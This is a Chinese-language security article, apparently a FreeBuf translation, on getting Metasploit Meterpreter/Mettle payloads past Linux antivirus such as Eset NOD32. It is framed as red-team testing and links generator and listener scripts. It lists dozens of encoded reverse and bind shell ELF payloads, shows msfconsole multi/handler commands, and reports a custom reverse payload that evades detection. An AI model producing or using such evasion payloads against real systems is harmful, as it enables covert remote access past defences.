Metasploit Payload在Linux平臺的免殺

2019-06-01 63840人圍觀 系統安全

目前,我認為在Linux防病毒方面做得比較好的安全廠商有Avast,Eset 和 Kaspersky。當然,本文的目的并不是為了推廣某個產品,而是希望通過實例測試將其作為紅隊練習的一部分進行學習,并了解什么會被標記或是通過(Metasploit/Meterpreter/Mettle)。

因此,為了該測試的順利進行,我創建了一個簡單的shell腳本生成器,它將生成各種被編碼可執行的Linux payloads,我們將這些payloads上傳到Linux虛擬機(Ubuntu 18.04 x86_64),并讓已安裝的AV處理它們。剩下的部分是一些理論上可以工作并繞過AV的內容,我們將通過測試一些示例來驗證它們的功能。

我將重點關注使用各種編碼器組合的Linux  x86 和 x86_64 Meterpreter/Mettle payloads。shell腳本生成器包含可以更改的變量名稱,以使用喜歡的組合和自動生成二進制文件的進程。

確保將以下腳本放置在metasploit-framework路徑中,并使其可執行。生成器腳本位于:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/AV-TEST-LINUX.sh

運行腳本時,應輸Metasploit-framework LISTENING IP地址和TCP端口,例如:

Metasploit payload在Linux平臺的免殺

在第一個測試場景中,我們將在Ubuntu 18.04(x86_64)上使用Eset NOD32 4.0.90:

Metasploit payload在Linux平臺的免殺

接著,我們將有一個生成的測試payloads的列表,我們將通過SCP向帶有LinuxAV的遠程機器提供這些payloads。在我們的測試中,我們生成了47個可執行文件。

-rw-r--r-- 1 root root 1102368 Apr 23 23:44 aarch64-reverse_tcp2.elf
-rw-r--r-- 1 root root     332 Apr 23 23:43 aarch64-reverse_tcp.elf
-rw-r--r-- 1 root root 1030664 Apr 23 23:44 armle-reverse_tcp2.elf
-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsbe-reverse_tcp.elf
-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsle-reverse_tcp.elf
-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec.elf
-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec-xor.elf
-rw-r--r-- 1 root root     198 Apr 23 23:39 x64-mt-bind_tcp.elf
-rw-r--r-- 1 root root     239 Apr 23 23:39 x64-mt-bind_tcp-xor.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-reverse_tcp2.elf
-rw-r--r-- 1 root root     249 Apr 23 23:38 x64-mt-reverse_tcp.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     295 Apr 23 23:38 x64-mt-reverse_tcp-xor.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-rev-http.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:40 x64-mt-rev-https.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-https-xor.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-http-xor.elf
-rw-r--r-- 1 root root     206 Apr 23 23:40 x64-sh-bind_tcp2.elf
-rw-r--r-- 1 root root     198 Apr 23 23:40 x64-sh-bind_tcp.elf
-rw-r--r-- 1 root root     247 Apr 23 23:40 x64-sh-bind_tcp-xor2.elf
-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-bind_tcp-xor.elf
-rw-r--r-- 1 root root     249 Apr 23 23:40 x64-sh-reverse.elf
-rw-r--r-- 1 root root     194 Apr 23 23:40 x64-sh-reverse_tcp2.elf
-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     295 Apr 23 23:40 x64-sh-reverse-xor.elf
-rw-r--r-- 1 root root     122 Apr 23 23:41 x86-exec.elf
-rw-r--r-- 1 root root     257 Apr 23 23:41 x86-exec-xor.elf
-rw-r--r-- 1 root root     194 Apr 23 23:42 x86-mt-bind_tcp.elf
-rw-r--r-- 1 root root     329 Apr 23 23:41 x86-mt-bind_tcp-xor.elf
-rw-r--r-- 1 root root 1107556 Apr 23 23:41 x86-mt-reverse_tcp2.elf
-rw-r--r-- 1 root root     207 Apr 23 23:41 x86-mt-reverse_tcp.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:41 x86-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     342 Apr 23 23:41 x86-mt-reverse_tcp-xor.elf
-rw-r--r-- 1 root root     614 Apr 23 23:43 x86-mt-reverse_tcp-xor.elf.multi
-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-http.elf
-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-https.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-https-xor.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-http-xor.elf
-rw-r--r-- 1 root root     162 Apr 23 23:43 x86-sh-bind_tcp2.elf
-rw-r--r-- 1 root root     194 Apr 23 23:43 x86-sh-bind_tcp.elf
-rw-r--r-- 1 root root     297 Apr 23 23:43 x86-sh-bind_tcp-xor2.elf
-rw-r--r-- 1 root root     329 Apr 23 23:42 x86-sh-bind_tcp-xor.elf
-rw-r--r-- 1 root root     207 Apr 23 23:43 x86-sh-reverse.elf
-rw-r--r-- 1 root root     152 Apr 23 23:43 x86-sh-reverse_tcp2.elf
-rw-r--r-- 1 root root     287 Apr 23 23:43 x86-sh-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     342 Apr 23 23:43 x86-sh-reverse-xor.elf

一旦我們上傳了它們,AV就會啟動并自動刪除其中的大部分payloads。

Metasploit payload在Linux平臺的免殺

執行完成后,我們會看到有一些文件被完整地保留了下來,其中一些文件將無法正常工作,還有一些文件則仍可以正常工作,我們將在下一步進行測試……我們有27個文件被保留了下來。

Metasploit payload在Linux平臺的免殺

因為我們的VM運行的系統是64位的,所以讓我們來看看那些x86_64的payloads。

-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec-xor.elf
-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec.elf
-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-mt-bind_tcp.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-http-xor.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-https-xor.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-sh-bind_tcp.elf

我們將配置我們的test LISTENER(將以下腳本放置在metasploit-framework目錄中并使其可執行)。

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LISTENER-LINUX-METTLE.sh

(并調整到測試的遠程payloads,即相應地更改第13行)

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh

如果我們要驗證除meterpreter/reverse_tcp之外的任何內容,我們需要將linux/x64/meterpreter/reverse_tcp修改為LISTENER中的相應的payload。

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST ' > run.listener.sh

以上適用于x64-mt-reverse_tcp-xor2.elf,因為該平臺為x64,并且它是一個meterpreter reverse tcp payload,所以我們將啟動我們的listener(請注意上述2個payload的差異?。?/p>

并使用Eset NOD32 AV在測試VM上執行payload,并獲得了一個core-dumped消息:)

Metasploit payload在Linux平臺的免殺

讓我們試試其他x86_64的mypreter/mettle->x64-mt-bind_tcp.elf

這次我們使用linux/x64/meterpreter/bind_tcp payload,并再次調整LISTENER,這次我們要為bind_tcp添加一個遠程IP才能工作(雖然如此),但我們仍要進行測試,這次它可以工作。

Metasploit payload在Linux平臺的免殺

但是,我們希望有一個可以繞過Eset NOD32,并且可以正常工作的reverse meterpreter/mettle payload!

讓我們嘗試更多自定義的代碼:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LINUX-FORK-METTLE.sh

Metasploit payload在Linux平臺的免殺

使用Nod32將linux-payload上傳到VM并運行listener。

Metasploit payload在Linux平臺的免殺

執行linux-payload和…我們成功使用自定義的reverse mettle payload繞過了AV:)

Metasploit payload在Linux平臺的免殺

之前我提到過你可以為Windows PE32執行同樣的操作。不是嗎?:)現在你知道了,它的工作原理和Windows上其實是一樣的,并且可以通過上面的腳本,scp等完全自動化進行AV逃避測試。

 *參考來源:astr0baby,FB小編secist編譯,轉載請注明來自FreeBuf.COM

取消
Loading...

特別推薦

推薦關注

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php jizzz